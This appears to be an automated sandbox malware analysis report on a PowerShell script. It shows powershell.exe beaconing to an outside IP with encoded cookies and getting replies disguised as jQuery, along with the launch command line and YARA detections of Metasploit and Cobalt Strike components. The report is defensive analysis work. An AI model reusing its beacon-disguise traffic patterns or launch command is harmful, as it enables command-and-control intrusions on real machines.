Apr 9, 2023 02:59:19.179239035 CEST	464	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:59:19 GMT Server: CloudFront Content-Length: 2516 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:59:19.179290056 CEST	465	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:59:19.179330111 CEST	466	IN	Data Raw: 50 41 45 49 48 50 48 41 42 42 4e 4d 4f 46 4d 48 44 46 4a 4f 4a 48 4a 42 41 50 41 42 4b 4c 4d 4a 4c 43 48 48 50 4a 46 46 4a 43 50 47 47 48 4a 47 4f 49 45 43 46 4b 45 46 42 48 46 50 4a 4c 48 47 4b 46 43 47 48 46 4a 45 4d 4d 50 4b 44 50 50 4e 4a 4c Data Ascii: PAEIHPHABBNMOFMHDFJOJHJBAPABKLMJLCHHPJFFJCPGGHJGOIECFKEFBHFPJLHGKFCGHFJEMMPKDPPNJLGLMHODLNODLMABBBLMEPECEEIOLBFFAKEMENDKNNALDBGLPCGJFIPMPLIHEIOBBKDPLILLKKPHADJHFMMAGOJFINHKHDLHNKKDFAPBHDMIHMLHKLGLAGBOABDOOONPKBANDMCNGPICBICGEHKDEJLPCPHICKLIAPF

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
94	192.168.2.5	49778	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:59:19.436781883 CEST	467	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=tYqRh-5J8cA_fT6GjFx_50_2EuzYzdHdIsU4ShqmCICWveb3pxEXkE2A7F0Jd3HoXeOUiramTLl285baoya93BNUXWLfN4Q5P5DN3-ndDuEhlpfchSw98vfyb2Kd-tetcQwSDP0k-dwHcLVzuGZVXCYEEIFnmupRdZLgq_hYkD6Avokq User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:59:19.585916996 CEST	468	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:59:19 GMT Server: CloudFront Content-Length: 2420 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:59:19.585963964 CEST	469	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:59:19.585995913 CEST	470	IN	Data Raw: 4b 48 4a 4d 49 46 4f 46 50 4d 45 44 4e 4c 42 50 49 49 4e 4f 49 4a 4f 46 47 4c 42 48 49 42 4c 4e 4b 4a 46 46 4a 4b 4d 48 4a 4c 50 4b 41 41 4d 4d 43 50 4f 42 48 46 4a 46 4f 46 4e 4f 41 4e 45 49 4d 49 43 41 42 45 4b 4c 44 47 4c 42 4a 47 44 4e 48 47 Data Ascii: KHJMIFOFPMEDNLBPIINOIJOFGLBHIBLNKJFFJKMHJLPKAAMMCPOBHFJFOFNOANEIMICABEKLDGLBJGDNHGBHNMEMGIPDFKNDJCDKHJJCHECIBILDMNFEMCBBPMMLFCLNJOHLDAMPEGJFHFNEBMFABJGLGBMEGEOEFHPPOKJPKEKONACGEPDINJFBOEIMAKAAJDKLABGGPKEJDLPOCMAKKMFEEMOEBFFP/*! jQuery v3.4.1 \|

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
95	192.168.2.5	49779	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:59:19.847124100 CEST	471	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=CiWVpVHm9eKA0jqkM_N7xfBZFs5nYtX_nWo8aKUJDKIpEuLVGL4TsvIv6H-22HXK4kyQqAkJSJvJXJL4HIm5_qz7WUBgmIAbgD_J_VZyCsOeOZP-OoM50Ehda0AiVdOPzqMWLkKL_f6437FRB8lRfpmrFKPYNe5zyj3kiUf3lBw_EY0I User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:59:19.995939970 CEST	472	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:59:19 GMT Server: CloudFront Content-Length: 2452 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:59:19.995970011 CEST	473	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:59:19.999238968 CEST	474	IN	Data Raw: 4a 49 49 4e 47 45 4c 43 4e 50 4e 4b 49 49 4f 4e 43 43 42 45 46 43 4a 4f 46 45 49 45 44 47 4d 4a 4a 43 47 50 4e 4f 48 4f 48 43 4d 49 45 48 42 4c 50 44 41 4d 43 4e 46 4d 4f 41 4d 4d 49 4d 42 4c 43 4d 42 42 50 48 42 4f 45 43 4e 41 46 50 43 41 47 4d Data Ascii: JIINGELCNPNKIIONCCBEFCJOFEIEDGMJJCGPNOHOHCMIEHBLPDAMCNFMOAMMIMBLCMBBPHBOECNAFPCAGMPHBNPBFGGDEBIAAKDKNHAEPDFOKFEIKCNBAGKGNCFBMGLPOLENJIOIODMBCCAPINBBIAILMCCDDHBKIELECEJFELABPNKFGFHFMBOONIJOBNGHMIEEBFEBBDBIACLEFOHBNMOJMLCLBLBDCGAHPJEHOFEOPOJDNAL

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
96	192.168.2.5	49780	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:59:20.273590088 CEST	475	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=u0bas-CFuvQxsXWygpA000E6WdjWAZrpLAlzfhRqQ7SYca3Dqd1cpENMp2kHuzrcUy_fvrhqB414P93urer26B2YFlbR-88NMVyG6-cRRdUvWtzoi-B2xvk-JFaTNpyZf8BZOPPosugJvP5HtqoeaCjIW7VpVqFle16rn_aU2wqOcsIe User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:59:20.422386885 CEST	476	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:59:20 GMT Server: CloudFront Content-Length: 2260 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:59:20.422462940 CEST	477	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:59:20.422722101 CEST	478	IN	Data Raw: 50 46 41 4e 44 43 46 46 43 4b 43 4e 4a 4e 49 44 4e 45 41 4a 4f 50 4c 4c 4b 4d 45 44 44 46 4e 4a 49 45 46 4e 4a 44 4a 4a 48 50 42 42 45 4f 4c 4a 4a 4a 42 49 42 42 4c 45 46 49 41 41 4c 43 50 44 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 34 2e 31 20 Data Ascii: PFANDCFFCKCNJNIDNEAJOPLLKMEDDFNJIEFNJDJJHPBBEOLJJJBIBBLEFIAALCPD/! jQuery v3.4.1 \| (c) JS Foundation and other contributors \| jquery.org/license / !function(e,t){'use strict';'object'==typeof module&&'object'==typeof module.exports? mo

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
97	192.168.2.5	49781	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:59:20.696069002 CEST	479	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=dpzAfy1foDj8a29-T0ouH4zgQxQb24Al4dNpstmwWXhVq7cPZAdGaI6WvaXKYSAQnvXFcnWwHUG15cciYDDsJNBCDJocIdXB_IacJyrLXxnigMYkRjpsCjTkPppe7IZVshpD9D4yqCTEZuSLe3AEpOUSQXmkjLuptoSxUztOwcZDqNjS User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:59:20.855160952 CEST	479	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:59:20 GMT Server: CloudFront Content-Length: 2484 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:59:20.855197906 CEST	481	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:59:20.855226040 CEST	482	IN	Data Raw: 47 41 43 41 4a 42 47 48 4e 4e 4d 4a 41 41 4a 4e 4a 44 50 4f 4f 47 50 43 4c 42 4b 48 44 46 41 50 4a 45 50 41 45 45 41 4f 46 4d 48 4d 48 49 43 4f 4d 4a 4a 45 4f 41 42 45 47 4d 4e 45 4e 44 4b 4e 41 4b 41 4f 42 4a 4d 43 4c 46 43 4d 4f 47 48 47 4a 47 Data Ascii: GACAJBGHNNMJAAJNJDPOOGPCLBKHDFAPJEPAEEAOFMHMHICOMJJEOABEGMNENDKNAKAOBJMCLFCMOGHGJGJKNIKDOBMOHAHAFJGOCPHECNOPOMPCACHOJJBJFJCMLBDOJGOKFFNGFGOGKFJMIGLOKHCGIBDCLJFGKBKBNLGEOOGBCBAJAIIHNKKOOEJECJPDEMCGLMPAFPANCHGAFBKEDFPNDGMAEHMGNEHDBJDOPGHDPEIJFGM

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
98	192.168.2.5	49782	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:59:21.113639116 CEST	483	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=vDGhn-fywdg2xg6ehedP_0ZNIvTRduHFK34IUhMdOJifBtbvrqoniEQ73EUAzEHwVFikkr8dfKF_SKbCqp2NxBrvbXrWjLQhNiv9x-BmPvkoLafEjJcN6v5JX3qUQee1eLciFPSfycQOy4Vrsd1lRC-_IJluIdpJfCnQs_HjoCaJBbky User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:59:21.263606071 CEST	483	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:59:21 GMT Server: CloudFront Content-Length: 2324 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:59:21.263653994 CEST	485	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:59:21.263684988 CEST	486	IN	Data Raw: 44 43 48 4c 4a 49 44 4f 50 41 4a 42 41 41 46 47 4a 41 50 47 4f 50 4f 41 49 41 4b 44 42 49 4a 44 4f 4a 4c 50 43 44 4a 49 48 45 4a 48 45 4b 4d 48 46 49 41 4c 48 4d 4d 49 42 48 49 46 45 45 4c 43 4d 44 48 42 4b 4e 50 43 4f 4f 4a 45 50 42 42 50 49 4a Data Ascii: DCHLJIDOPAJBAAFGJAPGOPOAIAKDBIJDOJLPCDJIHEJHEKMHFIALHMMIBHIFEELCMDHBKNPCOOJEPBBPIJHCBCPLEELMBLJKODJKAILJAECJPCBDFGDGHJCEBGDNLNFB/! jQuery v3.4.1 \| (c) JS Foundation and other contributors \| jquery.org/license / !function(e,t){'use strict'

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
99	192.168.2.5	49783	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:59:21.545875072 CEST	487	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=fUJNKSaBLW73teIoRJSjSYc-zkIQBQ1z6g3k5NJu1C5edTpZb9nLPoVIMPPBv61GlStIJH5ukBe-O0p0a-5hctucgcwX_1iX91gRcSEV0k_pXktyTeThXD86s8xVMgsDucTOojXsJXLPuGndcK6J8u7MzC-vUjb_vVo8BTCQTJBIdlWE User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:59:21.702280045 CEST	487	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:59:21 GMT Server: CloudFront Content-Length: 2612 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:59:21.702310085 CEST	488	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:59:21.702327967 CEST	490	IN	Data Raw: 4d 4b 44 41 44 45 4c 43 48 48 43 43 46 4b 50 4e 44 4b 4c 46 50 4e 4b 43 47 49 49 49 4d 42 41 41 43 45 4f 46 47 4d 48 4b 4d 50 45 50 43 47 50 42 44 46 50 4f 50 42 4d 42 4f 47 42 4a 44 50 41 47 49 46 4f 48 4d 48 41 50 49 44 44 45 4e 4c 4e 45 4b 49 Data Ascii: MKDADELCHHCCFKPNDKLFPNKCGIIIMBAACEOFGMHKMPEPCGPBDFPOPBMBOGBJDPAGIFOHMHAPIDDENLNEKIKEACFGNIAGAIEAHLFBHDMHGCKDPMLGJKHBNBMBFNKIEPOJLLDIDCBFMHEOGGONMHJDMJAOALBNMMPLFIEJHCBNEKJFJGFJMKFFKJIDLHILOFCCBHNJLDPNMBKMMKNDBPPGDKMHAPNIECEDNHGOFOOFLIMEHIDDLGP
Apr 9, 2023 02:59:21.702349901 CEST	490	IN	Data Raw: 65 28 72 2c 69 29 3b 6e 2e 68 65 61 64 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 6f 29 2e 70 61 72 65 6e 74 4e 6f 64 65 3b Data Ascii: e(r,i);n.head.appendChild(o).parentNode;

Target ID:	0
Start time:	02:57:45
Start date:	09/04/2023
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\245f38b4b8a25754bf6e630f8e2acf59.ps1
Imagebase:	0x7ff7fbaf0000
File size:	447488 bytes
MD5 hash:	95000560239032BC68B4C2FDFCDEF913
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: Msfpayloads_msf_ref, Description: Metasploit Payloads - file msf-ref.ps1, Source: 00000000.00000002.580163042.000002B4E81A5000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth (Nextron Systems) Rule: JoeSecurity_MetasploitPayload_1, Description: Yara detected MetasploitPayload, Source: 00000000.00000002.580163042.000002B4E81A5000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Msfpayloads_msf_ref, Description: Metasploit Payloads - file msf-ref.ps1, Source: 00000000.00000002.580163042.000002B4E82AC000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth (Nextron Systems) Rule: JoeSecurity_MetasploitPayload_1, Description: Yara detected MetasploitPayload, Source: 00000000.00000002.580163042.000002B4E82AC000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_MetasploitPayload_1, Description: Yara detected MetasploitPayload, Source: 00000000.00000003.314275079.000002B480021000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_MetasploitPayload_1, Description: Yara detected MetasploitPayload, Source: 00000000.00000002.631046566.000002B4F7A55000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_MetasploitPayload_1, Description: Yara detected MetasploitPayload, Source: 00000000.00000002.631046566.000002B4F7CB3000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_MetasploitPayload_1, Description: Yara detected MetasploitPayload, Source: 00000000.00000002.631046566.000002B4F81A5000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high

Show Windows behavior

Target ID:	1
Start time:	02:57:45
Start date:	09/04/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7fcd70000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Target ID:	2
Start time:	02:57:51
Start date:	09/04/2023
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"c:\windows\syswow64\windowspowershell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
Imagebase:	0xab0000
File size:	430592 bytes
MD5 hash:	DBA3E6449E97D4E3DF64527EF7012A10
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: Windows_Trojan_Metasploit_7bc0f998, Description: Identifies the API address lookup function leverage by metasploit shellcode, Source: 00000002.00000002.617159585.0000000008852000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Metasploit_c9773203, Description: Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families., Source: 00000002.00000002.617159585.0000000008852000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: Msfpayloads_msf_ref, Description: Metasploit Payloads - file msf-ref.ps1, Source: 00000002.00000002.590121495.00000000058F1000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth (Nextron Systems) Rule: JoeSecurity_MetasploitPayload_1, Description: Yara detected MetasploitPayload, Source: 00000002.00000002.590121495.00000000058F1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: CobaltStrike_Sleeve_BeaconLoader_VA_x86_o_v4_3_v4_4_v4_5_and_v4_6, Description: Cobalt Strike\'s sleeve/BeaconLoader.VA.x86.o (VirtualAlloc) Versions 4.3 through at least 4.6, Source: 00000002.00000003.418496631.00000000080F0000.00000040.00001000.00020000.00000000.sdmp, Author: gssincla@google.com Rule: Trojan_Raw_Generic_4, Description: unknown, Source: 00000002.00000003.418496631.00000000080F0000.00000040.00001000.00020000.00000000.sdmp, Author: FireEye Rule: CobaltStrike_C2_Encoded_XOR_Config_Indicator, Description: Detects CobaltStrike C2 encoded profile configuration, Source: 00000002.00000003.418496631.00000000080F0000.00000040.00001000.00020000.00000000.sdmp, Author: yara@s3c.za.net Rule: SUSP_XORed_Mozilla, Description: Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., Source: 00000002.00000003.418496631.00000000080F0000.00000040.00001000.00020000.00000000.sdmp, Author: Florian Roth (Nextron Systems) Rule: JoeSecurity_CobaltStrike_2, Description: Yara detected CobaltStrike, Source: 00000002.00000003.418496631.00000000080F0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CobaltStrike_3, Description: Yara detected CobaltStrike, Source: 00000002.00000003.418496631.00000000080F0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_CobaltStrike_f0b627fc, Description: Rule for beacon reflective loader, Source: 00000002.00000003.418496631.00000000080F0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Metasploit_7bc0f998, Description: Identifies the API address lookup function leverage by metasploit shellcode, Source: 00000002.00000003.418496631.00000000080F0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Metasploit_c9773203, Description: Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families., Source: 00000002.00000003.418496631.00000000080F0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_CobaltStrike_3, Description: Yara detected CobaltStrike, Source: 00000002.00000002.617159585.0000000008846000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_MetasploitPayload_1, Description: Yara detected MetasploitPayload, Source: 00000002.00000002.590121495.000000000567A000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: CobaltStrike_Sleeve_BeaconLoader_VA_x86_o_v4_3_v4_4_v4_5_and_v4_6, Description: Cobalt Strike\'s sleeve/BeaconLoader.VA.x86.o (VirtualAlloc) Versions 4.3 through at least 4.6, Source: 00000002.00000002.590121495.0000000005826000.00000004.00000800.00020000.00000000.sdmp, Author: gssincla@google.com Rule: Trojan_Raw_Generic_4, Description: unknown, Source: 00000002.00000002.590121495.0000000005826000.00000004.00000800.00020000.00000000.sdmp, Author: FireEye Rule: CobaltStrike_C2_Encoded_XOR_Config_Indicator, Description: Detects CobaltStrike C2 encoded profile configuration, Source: 00000002.00000002.590121495.0000000005826000.00000004.00000800.00020000.00000000.sdmp, Author: yara@s3c.za.net Rule: SUSP_XORed_Mozilla, Description: Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., Source: 00000002.00000002.590121495.0000000005826000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth (Nextron Systems) Rule: JoeSecurity_CobaltStrike_2, Description: Yara detected CobaltStrike, Source: 00000002.00000002.590121495.0000000005826000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_MetasploitPayload_1, Description: Yara detected MetasploitPayload, Source: 00000002.00000002.590121495.0000000005826000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CobaltStrike_3, Description: Yara detected CobaltStrike, Source: 00000002.00000002.590121495.0000000005826000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_CobaltStrike_f0b627fc, Description: Rule for beacon reflective loader, Source: 00000002.00000002.590121495.0000000005826000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Metasploit_7bc0f998, Description: Identifies the API address lookup function leverage by metasploit shellcode, Source: 00000002.00000002.590121495.0000000005826000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Metasploit_c9773203, Description: Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families., Source: 00000002.00000002.590121495.0000000005826000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: CobaltStrike_Sleeve_Beacon_Dll_v4_3_v4_4_v4_5_and_v4_6, Description: Cobalt Strike\'s sleeve/beacon.dll Versions 4.3 and 4.4, Source: 00000002.00000002.616855726.0000000008820000.00000020.00001000.00020000.00000000.sdmp, Author: gssincla@google.com Rule: JoeSecurity_MetasploitPayload_1, Description: Yara detected MetasploitPayload, Source: 00000002.00000002.590121495.000000000579A000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high

Show Windows behavior

Target ID:	3
Start time:	02:57:51
Start date:	09/04/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7fcd70000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Function 00007FF9A7992B87 Relevance: .6, Instructions: 579COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.645137031.00007FF9A7990000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9A7990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff9a7990000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c854e729fb30a91a6a55736e8f14d7656cf4999b78e8668253d9711613e0c6df
Instruction ID: 13f0913737618403d1652d8115a846c26b6498b5c0bfb3ddd1d9abbda694d85f
Opcode Fuzzy Hash: c854e729fb30a91a6a55736e8f14d7656cf4999b78e8668253d9711613e0c6df
